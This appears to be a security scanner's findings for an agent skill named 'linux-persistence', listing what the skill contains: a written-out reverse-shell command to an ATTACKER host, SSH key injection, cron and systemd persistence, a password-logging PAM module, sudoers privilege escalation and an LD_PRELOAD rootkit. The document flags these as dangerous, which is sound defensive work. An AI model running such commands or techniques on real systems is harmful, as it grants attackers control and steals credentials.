The Agent Skills Directory

[COMMAND_EXECUTION]: The skill provides explicit bash commands to establish interactive reverse shells, such as /bin/bash -i >& /dev/tcp/ATTACKER/4444 0>&1, which are used to grant remote attackers access to the system terminal.
[PERSISTENCE]: The skill contains extensive instructions for maintaining access across reboots and user sessions through multiple vectors:
Injecting unauthorized SSH keys into /root/.ssh/authorized_keys.
Creating persistent systemd services and timers to run backdoor scripts.
Scheduling recurring malicious tasks via cron jobs in system-wide and user-specific crontabs.
Modifying shell configuration files like ~/.bashrc and /etc/profile.d/ to trigger execution upon user login.
[CREDENTIALS_UNSAFE]: The skill includes C source code for a malicious PAM (Pluggable Authentication Module) that intercepts and logs plaintext usernames and passwords during authentication to a hidden file (/tmp/.pam_log).
[PRIVILEGE_ESCALATION]: The skill demonstrates how to grant full, passwordless root access to lower-privileged accounts by modifying the /etc/sudoers.d/ configuration.
[DYNAMIC_EXECUTION]: The skill provides methods for runtime compilation and injection of malicious shared libraries. It shows how to use gcc to build a rootkit that hooks the execve system call and uses LD_PRELOAD to ensure the backdoor executes whenever system binaries (like ls) are invoked.
[DATA_EXFILTRATION]: The provided techniques for reverse shells and credential harvesting are explicitly designed to exfiltrate system control and sensitive user information to external attacker-controlled infrastructure.

linux-persistence